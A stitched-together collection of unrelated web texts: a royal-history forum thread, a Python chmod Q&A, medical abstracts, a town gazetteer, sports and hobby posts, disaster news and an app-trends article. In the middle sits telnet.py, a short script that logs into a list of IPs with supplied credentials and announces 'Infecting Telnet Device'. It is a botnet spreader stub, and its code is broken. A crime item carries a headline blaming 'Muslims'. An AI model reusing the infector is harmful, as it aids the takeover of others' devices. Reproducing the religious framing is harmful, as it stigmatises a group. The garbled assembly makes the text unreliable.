Dom Duarte Nuno (Duarte Nuno Fernando Maria Miguel Gabriel Rafael Francisco Xavier Raimundo António de Bragança) was born in September 23, 1907 and died in December 24, 1976. He was a claimant to the Throne of Portugal from 1920 until his death.
He was born at Schloss Seebenstein in Austria, as the son of Miguel II, Duke of Braganza and of his second wife, Princess Marie Therese of Löwenstein-Wertheim-Rosenberg. Duarte Nuno had two older half-brothers and eight sisters.
On October 15, 1942, in the Cathedral of Petropolis in Brazil, Duarte Nuno married Princess Maria Francisca of Orleans-Braganza (September 8 1914; January 15, 1968).
The marriage was particularly popular since Maria Francisca was the great-granddaughter of Emperor Pedro II of Brazil, the younger brother of Queen Maria II of Portugal. The marriage thus united the two rival lines of the Portuguese royal family. Maria Francisca and her family were also viewed as representatives of a liberal monarchy as opposed to the traditional conservatism of Duarte Nuno’s family.
On the left, TRH The Duke and Duchess of Braganza, on the right, Monseigneur Le Comte and Madame la Comtess de Paris. HRH The Duchess of Braganza, born HIRH Princess D. Maria Francisca of Orleans-Braganza, who was the sister of Madame, married the Head of the Portuguese Royal House in Petrópolis, Brazil, in 1942, and was the mother of the present Duke of Braganza. The Duchess wore a small diamond tiara, a simple line of
diamonds with some small diamond flowers.
I wondered, I read somewhere that the Miguelist branch of the family was almost facing bankrupcy until Queen D. Amelia decided to leave her possessions to them, but wasn't Princess Francisca rather rich? On all the articles I read about her sister, the late countess of Paris it was said that the Petropolis branch of the Brazilian IF was very rich and that Isabelle took amall fortune with her in the marriage.
-
Nice thread by the way, thanks for starting it. Please note that photos that are in the public domain are are still allowed to be posted here.
Beautiful Portrait! Funny how none of the children (Duarte, Miguel, Henrique)look like their parents. Dom Duarte Pio resembles his father a bit but not much. And Dom Miguel and Henrique don't resemble any at all. They don't even resemble each other, IMO.
Quote:
Originally Posted by Marengo
(Post 767224)
I wondered, I read somewhere that the Miguelist branch of the family was almost facing bankrupcy until Queen D. Amelia decided to leave her possessions to them, but wasn't Princess Francisca rather rich? On all the articles I read about her sister, the late countess of Paris it was said that the Petropolis branch of the Brazilian IF was very rich and that Isabelle took amall fortune with her in the marriage.
I have no idea if the Petropolis branch was very rich, but Princess Francisca's dowry was not impressive for sure or she and her husband wouldn't have to live in such finantial conditions.
Salazar was concerned with their situation and asked Dª Amelia to contemplate them in her will. The book "Salazar e a Rainha" (which means Salazar and the Queen) of Fernando A. Monteiro show us a letter of Dª Amelia to Salazar in which she says "About my will, I will do what you are asking me. And I do that only because it's you, Mr. President, who are asking me to do so - I hope you are glad".
I think the only things that D. Duarte inherited from his mother were some jewelry, not money or properties in Brazil.
Elsa M.
05-18-2008 10:34 AM
Quote:
Originally Posted by Regina
(Post 767348)
I think the only things that D. Duarte inherited from his mother were some jewelry, not money or properties in Brazil.
Regina, I believe he already sold them, but D. Duarte did inherit some properties from his mother in Brazil. Nowadays, great part of their sustenance comes from the dowery of some apartments in Lisbon.
Regina, I believe he already sold them, but D. Duarte did inherit some properties from his mother in Brazil. Nowadays, great part of their sustenance comes from the dowery of some apartments in Lisbon.
Princess Maria Francisca's father (Dom Pedro de Alcântara Orleans Bragança) died in 1940. In 1945, 5 years later, D. Amelia told to Salazar "How can the Princes live? Dom Duarte Nuno has nothing and his wife has something of her own, but not much at all." (Book Salazar, Vol. IV by Franco Nogueira, pg 137). So, if D. Duarte Pio inherited something, it was not much.
Remember that Francisca's mother, Elisabeth, countess Dobrzensky de Dobrezenicz (a Czech) came to live in Portugal till her death in 1951. If her mother had properties in Brazil, why would they need the help of Dª Amelia? And why would Duarte Pio wait till 1975 to buy his first house (in Sintra, where he lives now with his wife and children)?.
In this interview, he tells that when he arrived to Portugal, all the family went to live in Gaia, to a friend's house. After that, the Government allowed them to live in a house bought by Fundação de Bragança. After the Revolution of 1974, they moved out. His father went to live to an aunt's house, in Algarve and D. Duarte bought his house in Sintra. Let me just add that his house is an aristrocratic and very big one, but in 1974/75 (during the Verão Quente)many, many palaces and mansions were sold by a very low price. I simply don't believe that in 1975 he bought his house by a large ammount of money.
A picture of Da. Maria Fransisca with some of the Brazilian relatives of the Duchess, among them the count and countess of Paris, Princess Teresa, D. Pedro Gastao and D. Isabel and of MF's brothers. I suppose the children are all children of the count and countess of Paris. I am not sure if the man with the arm on the shoulder of Da. Maria Fransisca is her brother or D. Duarte Nuno, maybe a Portuguese poster can help?
Thank you for all those great photos, namely those of D.Duarte and D.Maria Francisca wedding, most of them I've never seen before.
As for the people in the last photo:
Standing: Pss. "Tété" (D.Teresa), Count and Countess of Paris, Pr. D.João, Pss. D.Maria Francisca and D.Pedro Gastão.
Sitting: D.Pedro and D.Elisabeth with their "Paris" grand-children.
JSP
06-29-2008 04:03 PM
The Bragança's wealth
Quote:
Originally Posted by Regina
(Post 767934)
Princess Maria Francisca's father (Dom Pedro de Alcântara Orleans Bragança) died in 1940. In 1945, 5 years later, D. Amelia told to Salazar "How can the Princes live? Dom Duarte Nuno has nothing and his wife has something of her own, but not much at all." (Book Salazar, Vol. IV by Franco Nogueira, pg 137). So, if D. Duarte Pio inherited something, it was not much.
Remember that Francisca's mother, Elisabeth, countess Dobrzensky de Dobrezenicz (a Czech) came to live in Portugal till her death in 1951. If her mother had properties in Brazil, why would they need the help of Dª Amelia? And why would Duarte Pio wait till 1975 to buy his first house (in Sintra, where he lives now with his wife and children)?.
In this interview, he tells that when he arrived to Portugal, all the family went to live in Gaia, to a friend's house. After that, the Government allowed them to live in a house bought by Fundação de Bragança. After the Revolution of 1974, they moved out. His father went to live to an aunt's house, in Algarve and D. Duarte bought his house in Sintra. Let me just add that his house is an aristrocratic and very big one, but in 1974/75 (during the Verão Quente)many, many palaces and mansions were sold by a very low price. I simply don't believe that in 1975 he bought his house by a large ammount of money.
The Miguelist side of the family was "poor as a Church mouse" :ohmy:.
Remember that when D.Miguel was forced to leave the country :angry:, he left empty hands, with no money or jewels (even those inherited from his Mother) and survived thanks to the generousity of the Pope and the Austrian Emperor.
He even refused the allowance his brother D.Pedro offered him.
Better or worst he survived in central Europe until he got married to Pss. Adelaide of Loewenstein-Wertheim-Rosenborg, who bore him a son and many daughters.
Most surprisingly all the daughter married far better than her cousins daughters of Queen D.Maria II :graduate:.
The Bragança family was sort of protégé by the Emperor and D.Miguel (II) took advantage of the situation.
First he married the wealthy Pss of Thurn un Taxis, Sissi's niece.
When she died, he proposed to Sissi's own daughter but she preferred her Tuscany cousin.
By then the family was very well connected to some of the richest princes such as the Bourbon-Parma, the Liechtensteins and the Thurn und Taxis.
WW1 came to put an end to this situation, reversing the tables of the Braganças, among many others.
Remember that at the time the Heads of Royal Families did not work :shock: !
Either they lived on rent or have joined the army (as D.Miguel and his sons have done).
For worst, when Portugal joined the war in 1916, they were on the wrong side and D.Miguel had to step down from his post.
In the period between the wars, the family was very much helped by the Liechtensteins and the T&Taxis.
They lived in a Liechtenstein castle in the outskirts of Vienna.
On what concerns D.Duarte Nuno and his wedding.
The Petrópolis branch of the Brazilian IF was indeed the rich one.
I will not elaborate on how D.Pedro cheated on his nephew :whistling: and got the "cut of the line" from the family inheritance.
But the wealth was mainly on Land, and in a regime simillar to a trust - enfiteuse - where you can take the profits from the land, but you cannot dispose of the land for sale.
It took years until they could sell parts of the vast lands they had around Petrópolis.
And this caused a rift between D.Duarte Pio and his uncle D.Pedro-Gastão, who, like father, like son :devil:, wanted to cheat on his nephews and sister D.Teresa.
The matter was only solved in the late 1980s/90 when D.Duarte finally could have access to his Mother's inheritance.
As to D.Amélia's inheritance.
The already mentioned book "Salazar e a Rainha" is a wonderful document on the process.
It was not the Queen who decided to appoint D.Duarte Pio (her godson) as her universal heir.
It was Salazar :ermm: that, knowing that the Queen did not like very much her Portuguese relatives, and fearing that she might appoint as heirs her french cousins :shock:, leaving them her estates, with a foxy diplomacy, induced the Queen to appoint D.Duarte as heir.
In a way it was a poisonned present.
Urban rents in Lisbon were frozen since the 1940's so D.Duarte inherited a vast but impoverished asset.
The houses were ancient and needed constant repairs and many rents until the 80's were of mere € 10-20 for huge houses in one of the best neighbourhoods in Lisbon.
I know since an aunt of mine lived in a grand house, just facing the Political Police PIDE building paying a symbolic rent.
There was a major controversy when D.Duarte decided to sell the PIDE building to a constructor in order that a luxury hotel would be built.
Socialists and communists wanted to make there a Museum to the resistance and that the building was expropriated :eek: .
As to D.Duarte's house in Sintra.
D.Duarte has told the story several times.
After the 1974 revolution many people left the country and others simply were not confortable leaving in huge palatial houses, being called "fascists" .
A friend of D.Duarte offered him to buy the house at a very easonable price which he accepted.
Yet again, the house was in a very poor state.
It was an old house, and Sintra is a very damp town - a very unpleasant combination.
When D.Duarte got married, some friends teamed together and, as a wedding gift, they promoted a repair of the house, roofs, central heating, double-glazed windows, etc making of it today a very attractive house fit for a family and children.
Elsa M.
06-30-2008 06:26 AM
Quote:
Originally Posted by JSP
(Post 792944)
Urban rents in Lisbon were frozen since the 1940's so D.Duarte inherited a vast but impoverished asset.
The houses were ancient and needed constant repairs and many rents until the 80's were of mere € 10-20 for huge houses in one of the best neighbourhoods in Lisbon.
I know since an aunt of mine lived in a grand house, just facing the Political Police PIDE building paying a symbolic rent.
There was a major controversy when D.Duarte decided to sell the PIDE building to a constructor in order that a luxury hotel would be built.
Socialists and communists wanted to make there a Museum to the resistance and that the building was expropriated :eek: . |
Q:
How to change permissions of multiple files using os.chmod
I have a directory which contains multiple files (some shell ending with .sh, some text files and some python files ending with .py extension).
I want to add execute permission to all shell files (ending with .sh) using os.chmod command. Basically I want to do this:
chmod +x *.sh
I tried checking for permissions first by doing this:
>>> s = os.stat('*.ksh')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
OSError: [Errno 2] No such file or directory: '*.ksh'
But it won't work.
How can I do this in pythonic way?
A:
Use the glob module to get a list of files, and then loop over them:
import glob, os, stat
for name in glob.glob('*.sh'):
print(name, os.stat(name))
And you can use os.chmod() as per this question to actually add the executable mode bit:
for name in glob.glob('*.sh'):
st = os.stat(name)
os.chmod(name, st.st_mode | stat.S_IEXEC)
|
The role of hospitals within the framework of the renewed primary health care (PHC) strategy.
This article summarizes a presentation made at the IHF Leadership Summit held in Chicago, USA in June 2010, by Denis Porignon from the World Health Organization (WHO) and Reynaldo Holder from the Pan American Health Organization (PAHO/WHO). It focuses on the role of hospitals within the framework of the renewed PHC strategy. |
Why do B cells produce CD40 ligand?
The CD40-CD40 ligand (CD40L) interaction is one of the most important receptor-ligand interactions that occurs during a T dependent immune response. However, while CD40L is expressed on a range of cell types including activated T cells and B cells, dendritic cells granulocytes, macrophages and platelets, only CD40L on T cells is considered by most immunologists when planning experiments or analysing data. The current theory professes that T cells expressing CD40L can provide signals to B cells that induce proliferation, immunoglobulin class switching, antibody secretion, rescue from apoptosis at different times during the life of a B cell and also has a role in the development of germinal centres and the survival of memory B cells. However, the whole story is more complex than presently understood as human and mouse B cells express CD40L on their surface following activation and can release a soluble form of the ligand. This paper hypothesizes how CD40L on B cells may regulate antibody responses and the development of germinal centres. |
Villa San Agustín
Villa San Agustín, San Agustín de Valle Fértil or San Agustín is the capital city, center of institutional activities and governmental authorities of the department of Valle Fértil. It is located in the center of the administrative unit, 250 km northeast of the city of San Juan and in the center of the province, in Argentina.
Pedro Pablo de Quiroga founded San Agustín on April 4, 1776. It presents an urban area, where the main institutional and administrative buildings of the department of Valle Fértil are concentrated. In the department, there is a certain combination of rural and urban life and its economy is mostly based on services – especially housing – for tourists, whose destination is predominantly the Ischigualasto Provincial Park.
Its main access roads are provincial routes 510, 511 and the brand new Route 150 that is part of the Corredor Bioceánico
History
Since the 16th century, the Cuyan territory was inhabited by indigenous communities, among which the Huarpes, the Capayanes, the Olongastas and the Yacampis (a Diaguita group of La Rioja).
Geography
San Agustin del Valle Fertíl is located 250 kilometers northeast of the city of San Juan. East of the Province of San Juan, the Department of Valle Fertíl is lying on the eastern slope of the Sierras Pampeanas. Along the valley, there is a lush vegetation of great variety and beauty, a different picture to the rest of the context of the province
Climate
The climate is semiarid with moderate temperatures. It has a lot of rainfall on average and long sunshine hours characterize summer.
Population
It counts 3,900 inhabitants (INDEC, 2001), which represents an increase of 33.2% compared to the 2,928 inhabitants (INDEC, 1991) of previous census
Seismicity
The seismicity of the area of Cuyo (west central Argentina) is common, but of low intensity, and a seismic silence means severe earthquakes every 20 years in different random areas.
Caucete earthquake 1977
On November 23, 1977, an earthquake devastated the region, causing some victims, and a significant percentage of damage to buildings.
1861 earthquake
Even if such catastrophic geologic activity occurs since prehistoric ages, the earthquake of March 20, 1861 marked an important milestone in the history of Argentine seismic events, since it was the strongest recorded and documented in the country.
From that, policy of the successive municipal governments has been taking extreme care, restricting construction regulations. Moreover, with the 1944 San Juan earthquake of January 15, 1944, the government of San Juan declared the state of severe seismic activity of the region.
The Day of Civil Defense was institutionalized by a decree in order to remember the earthquake that destroyed the city of Caucete on November 23, 1977, and made more than 40,000 people homeless. They were not ground fault records, and the most noticeable effect of the earthquake was the extensive area of liquefaction (possibly thousands of square kilometers).
The most dramatic effect of liquefaction was observed in the city, 70 km from the epicenter: large quantities of sand were seen in the cracks of up to 1 m wide and 2 m deep. In some of the houses on those cracks, the ground was covered with more than 1 dm sand.
Tourism
St. Augustine is one of the main attractions of the province, standing out for being a suitable place for rest, in the middle of a quiet environment at the foot of the mountains. There is also an artificial lake, where it is possible to fish and do various water sports. It is also possible to make excursions to the mountains, trekking, photo safaris, bird watching, etc. Valle Fertíl has been documented by film director Jorge Preloran.
Located at the foot of the Sierra de Valle Fertíl, with its streets disposed in a grid plan, San Augustín presents a modern infrastructure for the attention of visitors. The landscape around is mountainous with lush vegetation.
It is possible to practice fishing in the Embalse San Agustin where silversides abound. The town has the infrastructure to accommodate tourists and visitors who decide to spend a few days in the area. La Piedra Pintada, la Meseta Ritual and all the indigenous mortars, represent an additional attraction for anyone interested in the culture of the natives of the area. Traditional handcrafts in leather, fabric and wood may also be admired in the town of La Majadita, near San Agustin. From the town, it is possible to walk to several locations: the Ischigualasto Provincial Park, the Talampaya National Park and El Chiflón (in the neighboring province of La Rioja), the three mountains of Valle Fertíl, the historic olive trees of La Mesada and the Jesuits ruins of Las Tumanas.
References
External links
Valle de la Luna
Category:Populated places in San Juan Province, Argentina |
#!/usr/bin/python
#Skype: b1narythag0d
#XMPP: [email protected]
#Made Date: 8-5-16
#Title: telnet.py
import sys, re, os, telnetlib, getpass
from multiprocessing import Process
cmd=""
r34d = open(str(sys.argv[1]), 'a+')
def w0rk(username, password,ip)
try:
port = 23
telnet = telnetlib.Telnet()
telnet.open(ip, port = port, username=username, password=password, timeout=3)
print "Infecting Telnet Device: " +ip+"\n"
telnet.read_until("login: ")
telnet.write(username + "\n")
if password:
telnet.read_until("Password: ")
tn.write(password+ "\n")
telnet.close()
for line in r34d:
ip_info = line.split
god = Process(target=w0rk, args=(ip_info[0],ip_info[1],ip_info[2],))
god.start()
username=ip_info[0]
password=ip_info[1]
ip=ip_info[2]
god.join() |
Astrocytes modulate the chemokine network in a pathogen-specific manner.
Immune responses in the central nervous system (CNS) are carefully regulated. Despite the absence of most immune processes and a substantive blood brain barrier, potent immune responses form during infection and autoimmunity. Astrocytes are innate immune sentinels that ensheath parenchymal blood vessels and sit at the gateway to the CNS parenchyma. Viral and bacterial infections trigger the influx of distinct leukocyte subsets. We show that astrocytes alone are sufficient for distinguishing between these two main types of infection and triggers release of relevant chemokines that relate to the microbe recognised. Bacterial-associated molecules induced the preferential expression of CCL2, CXCL1, CCL20 and CCL3 whilst a virus-associated dsRNA analogue preferentially up-regulated CXCL10 and CCL5. Thus, astrocytes can respond to infection in a distinct and appropriate manner suggesting they have the capacity to attract appropriate sets of leukocytes into the brain parenchyma. Astrocytes themselves are unable to respond to these chemokines since they were devoid of most chemokine receptors but expressed CXCR4, CXCR7 and CXCR6 at rest. Stimulation with TGF-beta specifically up-regulated CXCR6 expression and may explain how TGF-beta/CXCL16-expressing gliomas are so effective at attracting astroglial cells. |
OPINION: It turns out Julian Savea is more like Jonah Lomu than we ever imagined.
Savea's size, destructive running and remarkable try-scoring ability have drawn increased comparisons to the late, great Lomu as his All Blacks career has rapidly evolved.
Now we can add fitness and form struggles to the list of similarities.
Phil Walter/Getty Images Julian Savea faces hard work off the field to get back into the All Blacks' first XV.
Lomu, for all his huge assets, was often a headache to his coaches, particularly at the start of the season.
READ MORE:
* Julian Savea dropped for second test
* ABs train with Steven Adams
* Lowe pushing his All Blacks credentials
* Izzy Dagg's broken run back to the All Blacks
* Wales make two changes for second ABs test
* Baby Blacks knocked out at U-20 world champs
ALLSPORT Jonah Lomu - All Blacks great.
Laurie Mains and All Blacks coaches that followed him were frustrated at Lomu's sluggish approach at times.
Often they were inclined to turn a blind eye given the considerable deeds Lomu was capable of.
Mains had already been through something similar with another wonder wing in the form of Inga Tuigamala, who would score tries other fitter players couldn't, simply through his natural talent.
Dan Mullan/ Getty Images Julian Savea kisses the Webb Ellis Cup after the All Blacks won the 2015 Rugby World Cup final.
It turned out Lomu had a deadly reason at the root of his problems in the form of a rare kidney disease that would eventually contribute to his premature death.
Nothing has been revealed to suggest Savea's struggles are related to anything as medically sinister. Thank goodness for that. But they are equally frustrating. And it seems patience has run out.
It's hard to argue with All Blacks coach Steve Hansen taking the "tough love" approach and cutting Savea from his team.
It's not like he hasn't been cut some slack before. Last year he was put on a special conditioning programme by the All Blacks after Super Rugby and missed tests against Samoa, Argentina and South Africa.
Thankfully the hard work paid off and he came right when it mattered most – at the World Cup where he ended a try drought that lasted almost a year and really flourished in the playoffs.
Even this year Savea was given a rocket by his Hurricanes bosses who were clearly concerned at his shape and form after the summer layoff. That warning shot appears to have flown over his bow without the big fella taking notice.
Now he's discovered again the hard way that big reputations count for little when a team is carrying the mantle of world champions.
Savea has let himself down. And he's let his team down.
One game into the test season and there's a significant and unnecessary shuffle of the back three.
With their current resources, this isn't as simple as replacing one man.
Hansen has been forced to move Ben Smith, the world's best fullback to the right wing to accommodate Israel Dagg in the No 15 jersey. Regular right wing Waisake Naholo has been forced to the other side of the field to have Smith play in the No 14 jersey.
Savea has played a risky game here and been caught out early with his axing.
The risks continue.
He's a specialist wing who commands no place on the bench so it's either No 11 or his number ones on game day.
And now he's given a player who has shown a quality he appears to be lacking – desperation – come into the mix. That player is Dagg.
Cruelly dropped from the World Cup mix because of a surplus of talent in the outside backs, Dagg put his head down and worked hard, showing enough form for the Crusaders this year to demand a recall.
Dagg's return to the All Blacks starting XV has come far quicker than even he could have hoped for.
The intrigue now is how this back three fires against a Welsh side already on the ropes after losing a warm-up match against England, the opening test against New Zealand, and then a midweek fixture to the Chiefs.
They are there for the taking and if the All Blacks fire, the outside backs will be the ones to profit.
If the new combination clicks, Savea could be out in the cold for a bit more of the winter, waiting to see when Hansen warms to him again.
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[The effect of "huang lian jie du tang" active fraction on experimental cerebral ischemia].
To study the protective effect of "Huang Lian Jie Du Tang" active fraction (HLJDTAF) on experimental cerebral ischemia. Middle cerebral artery occlusion (MCAO) in rats was used to observe the protective effect of HLJDTAF on ischemia stroke. Common carotid artery occlusion (CCAO) rat was used to analyse the effect of HLJDTAF on blood brain barrier (BBB) permeability. Common carotid artery occlusion and reperfusion repeatedly (CCAORR) in mice were used to test effect of HLJDTAF on gasp time, brain exponential and water content of brain. HLJDTAF could improve the abnormal behavior of MCAO rats and decrease the infarction area (P < 0. 05, P < 0. 01). HLJDTAF could also significantly prolong the shorten gasp time of CCAORR mice, reduce the brain exponential and decrease the water content in brain (P < 0. 05, P < 0. 01). HLJDTAF can protect the brain ischemia injury. |
[Lysosomal proteinasen and peptidasen in serum of children with inflammatory diseases (author's transl)].
In the serum of 43 children the activities of proteinases and peptidases by mean of 41 substrates have been determined in order to get knowledge of overall activities and differentiation of lysosomal proteolytic enzymes. Proteinases, cathepsins A, B, C and D, aminopeptidases, carboxypeptidases, dipeptidases, tripeptidases and aminoacidarylamidases have been checked. The enzyme pattern of the serum of a collective of 15 healthy children or those without serious clinical signs is demonstrated, also the alterations and differentiations in the serum of children with leucemia, pneumonia, inflammatory diseases of the respiratory tract, other inflammatory diseases and common diseases. Leucyl-glycyl-glycyltripeptidase, glycyl-glycyl-glycyltripeptidase, a proteosterase, carboxypeptidase A, a neutrale proteinase and basic proteinase (cathepsin B) and cathepsin C are increased. A distinct elevation has been found only in children with leucemia and pneumonia. |
I have a question for the free motion quilters out there. When you do free motion quilting, like stippling for example, do you just do the whole quilt top or do you do a block at a time? Like, fill one block with stippling, then move to the next block? Or just go over the whole quilt at once? I'm just getting into machine quilting but so far all I have done is straight line quilting. I've been practicing and I think I'm ready to try my hand at stippling on a small quilt. Any tips to make it easier?
If I am doing a small quilt I start close to a corner, and tend to start in a diagonal direction. This is so when you look at it you can not tell the line I followed.
If I am doing a big quilt I start as close to the center as I can (tackle the hardest part first and now you know it can not get any worse than that). I follow a kind of random motion, making sure that I fill all areas as I go to prevent bunching. I try not to concentrate filling one block before moving to the next, because it doesnt look "free" to me.
My opinion only, and I hope it wasn't clear as mud.
The best thing you can do is to practice as much as you can. One thing I found useful was to practice in a whole cloth, preferably of a solid color, so you can see clearly what you did. When I started doing it on quilts I did it mainly on printed, especially flowers, because when I made a mistake it wouldn't show.
I am getting better at free motion quilting....every time I do it I am more pleased with the results!
I practiced...first I literally did the motions on paper with a pencil to get use to making those puzzle piece shapes. I then practiced on table runner size muslin squares with batting between.
Now I can do a runner or a lap size quilt and feel half comfortable doing it. I haven't conquered a large quilt yet.
I was taught to picture your quilt in quarters....start near the center and work in one quarter at a time, from the center out to the edges. It seems to work for me. On a small item I just do the whole thing. It takes practice, practice, practice! Remember to breathe....I tend to hold my breath. LOL
I sew on Babylock machines and I have a foot control and a start/stop button (sew without using the foot control). When I free motion I use the start stop button as I then don't have to worry about speed, it's controlled for me and I can just worry about moving the fabric with my hands. That's the trick of all tricks for me....not worrying about my speed (foot) and my hands.
I also like to do "loops" as you can crossover them....I picture making the capital letter L in cursive writing...just an image for my brain!
Big quilts I still pay a long arm quilter to do....maybe someday...sigh.... I do stitch in the ditch on them.
Good luck, keep at it, it is fun.
I use a grace frame and start at the left hand top corner. I do a 6/7 inch stipple and then on the next row (right to left) I make sure I go up into the row above and fill in so you can't tell where the rows are. It fills it in nicely. The one thing you don't want is to be able to see definate rows of stipple. I think when you do stipple on a quilt on a machine that isn't on a frame you are suppose to start in the middle. Never could get the hang of that, too jerky. |
What could be the better system for executing fantasy playoffs in the NFL? For one, ESPN Standard Leagues need to eliminate the idea of playing the championship into Week 17. Plenty of players are unusable at that point. But what about weeks 15 and 16?
Playoffs in fantasy sports are so unique because oftentimes the team that has led the league all season, for one reason or another, gets knocked out in the playoffs. Last year, I dominated my league until Week 16, when I started Chad Ochocinco over Jonathan Stewart. Stewart of course had a monster week and I lost by three points. But the common methodology for approaching fantasy playoffs differs depending on who you talk to. Some experts say to play the players that got you there. In other words, don’t get cute about lineups at this point of the season. However, some would argue that matchups and situations are never more important than the playoffs. In my example from last year, Stewart became the primary back and had a great matchup against a bad New York Giants defense. I should have played him, but Ochocinco had been my guy all season.
Which brings me to this year. So, I got Kenny Britt who I just picked up and have never played all season. He’s got a great matchup against the lowly Houston Texans secondary. Do I start him over the proven, fairly consistent Mike Williams of the Tampa Bay Buccaneers?
Is there a better system for fantasy playoffs? I’m not so sure there is, but it does tell you one thing: anything can happen. |
240415_MO_00 (6).jpg
Members of al-Mujahideen brigades, the military wing of al-Mujahideen movement, march during a rally to mark the 14th anniversary of their movement's founding, in Gaza city on April 24, 2015. Photo by Mohammed Asad |
Muslims Gang Rape Colorado Woman
Document Reveals Accounts Of Vicious Assault From Victim And Suspects
KKTV.com
Court documents reveal that the victim of an alleged vicious sexual assault remembers some of the suspects telling her about being unhappy with the way they were treated in the United States. Five Iraqi nationals were arrested in connection with the case.
Two are charged with the crime while all five are charged as accessories with the crime. Some of the victim’s injuries were described by police as being “rarely seen.”
“I can tell you this is one of the most horrific sexual assaults I’ve seen in my career as a police officer,” said Lt. Howard Black with the Colorado Springs Police Department. |
Death toll in Japanese quake may exceed 10,000
HOUSTON (ICIS)--At least 10,000 may have died from the earthquake and the subsequent tsunami in Japan, according to the latest estimates reported on Sunday.
In addition, the magnitude of the earthquake has been raised to 9.0 from 8.9, the Telegraph reported.
The earthquake had cut power to the Fukushima Daiichi nuclear power plant, and back-up systems were subsequently knocked out, the Financial Times reported.
Fuel rods may have partially melted at two of the reactors, the Financial Times reported. Engineers were using seawater to cool down the No 1 and the No 3 reactors, and they may do the same for the No 2 reactor.
An explosion hit the No 1 reactor on Saturday, and engineers fear a similar explosion could happen at No 3, the Financial Times reported.
Estimates of the death toll have now reached 10,000, although the official count is 1,596, the Telegraph reported. |
5 New Trends in Mobile App Development
Mobile application development is one of the most cruising sectors in the information technology industry in the current marketplace. Both the mobile app marketing and mobile commerce through mobile apps have attained huge traction in the business world during the past couple of decades, especially in the present decade.
For instance, iOS, being an outstanding operating system can be the best solution to base your business app on. Just to be clear, this solution is not from the lowest cost categories, so it is the best one to combine with the right model to hire iOS developers as well as Android and Windows developers to cater to the increasing demand for mobile application development. Android and iOS mobile app development are in high demand owing to the increasing mobile devices powered by the Android and iOS operating systems.
Importance of Mobile Apps
According to the Statista forecast, the number of smartphone users will cross the 2.87 billion mark by 2020. The majority of this huge market will be dominated by Android and iOS phones.
More than 61.2% of internet users in 2018 used the internet through mobile devices, and more than 50% of the people spend their entertainment and media time on mobile phones.
According to the Statista information, the total number of downloads of mobile applications in 2018 is estimated to be about 205.4 billion downloads, which will reach 258.2 billion downloads by 2023. The total market size of the mobile application is expected to reach about $311.249 billion by 2023.
Mobile App Development Innovation
Telecommunication and software development technologies are the most volatile in nature; they change very rapidly. New ideas emerge consistently in different aspects of mobile app development like how to hire a mobile app developer at low cost, how to benefit from new technologies, how to use different project management methodologies effectively to improve the user experience of the target audience and reduce the mobile app development cost.
The cross-platform mobile app development is increasing as compared to the native app development to reduce development cost and to improve software development efficiency. In the human resource management field, employers are pervasively choosing for the remote employees for hybrid app development so that the application development can be cost-effective and offer a good competitive edge.
Likewise, the companies are also choosing for interactive notifications and remote customer support so that they can increase sales and revenue of the company at reduced cost. All these trends have changed the way for the enterprises on how to make a mobile app in the existing competitive marketplace.
Top 5 Mobile App Development Trends in 2019
With the increasing cost of hiring a mobile app developer and changing the landscape of information technology, the newer trends emerge in the marketplace. The cross-platform mobile apps for new emerging technologies like the internet of things (IoT), artificial intelligence, interactive notifications, knowledge-based digital marketing, chatbots, and others are getting stronger grounds.
Let’s talk about the major trends in mobile application development in the marketplace in 2019.
#1 Artificial Intelligence (AI)
Artificial intelligence (AI) has achieved huge traction in all types of mobile applications and web applications irrespective of the industry sector or field. Numerous manual processes are being transitioned into automated processes powered by artificial intelligence.
According to the Statista information the total revenue of artificial intelligence market is expected to cross the $89.8 billion mark by 2025 from just $11.3 billion in 2019. So a huge growth in AI applications including the mobile apps is around the corner. IT project managers are already facing challenges in filling both the Android and iOS developer jobs for their teams, and 2019 will make this challenge even bigger.
Thousands of artificial intelligence application and tools have already been introduced in the marketplace for quite a few years now, but 2019 is expected to see more advancement in this field. Robotic applications, industrial automation, home automation applications, and many other applications will mark their huge presence in this year.
Machine learning has remained a hot topic in 2018 and will continue to dominate in the mobile application development in 2019 too. Many natural language processing applications and expert systems application will catch more roots.
#2 Internet of Things (IoT)
Internet of things has already impacted the software development industry hugely. The total global market size of IoT based software solutions was about $170.57 billion in 2017, which is expected to cross the $561.04 billion by 2022 with a gigantic 26.9% compound annual growth rate CAGR, according to the Markets and Markets forecast.
All types of mobile applications irrespective of native vs hybrid app and traditional vs instant mobiles apps will be heavily influenced by the internet of things IoT in 2019. The total volume of hardware and other equipment associated with the IoT technology has increased exponentially in recent years. Newer mobile app user interface designs for the IoT applications are introduced to improve the user experience for the industrial and home automation applications.
Home automation, smart cities, industrial automation, smart buildings, and remote healthcare applications are going to remain the major drivers of the IoT mobile applications development in 2019.
#3 Augmented Reality (AR)
Augmented reality (AR) and virtual reality (VR) technologies have already hit the market with impressive presence. There was $14.1 billion global market in 2017 according to the Statista information. According to the Statista forecast, the total market value of AR and VR technology will cross the $209.2 mark by 2022 with a huge growth from 2017 to 2022.
A large number of mobile applications mostly used for entertainment and gaming purposes are already in the market and the trend of emerging many new and innovative applications will continue to grow in 2019.
#4 Chatbots Apps
The chatbots are becoming a new standard in the customer support and eCommerce fields. Numerous mobile applications and CRM modules powered by artificial intelligence technologies are achieving huge popularity in the field of software development. The present chatbot market is just a few million, but it is expected to become a billion dollar market within a few years with huge growth.
The new trend in the mobile applications development will be highly influenced by the chatbot applications powered by artificial intelligence, machine learning, and body gesture movement recognition technologies. There are many solutions available in the marketplace that can help you easily add the chatbots to the websites without any long coding. This leaves even good impact on the chatbot software development in 2019.
#5 Instant Mobile Apps
The new mobile app development trend that will impact the application development hugely is the instant mobile applications, especially on the Android-powered phones. Instant mobile apps are like the web applications that will run on the mobiles without downloading and installing the application code on mobile devices.
Instant apps can easily run on the Android mobiles much faster from the local browsers of the mobile phones. These applications are very lightweight and easy to operate from anywhere in the world without any limitations. It will look like running websites on your browsers without using your mobile resources extensively. On Android systems, these applications are fully compatible with the Android Jelly Bean.
The use of instant mobile apps will help you save space and memory on the mobile device and will break the limitations of personal installations on your mobile devices.
Summing Up
The user experience improves with the new trends getting pervasive grounds in the marketplace. There would be a highly desirable impact on the mobile application development landscapes and the mobile app development job market. |
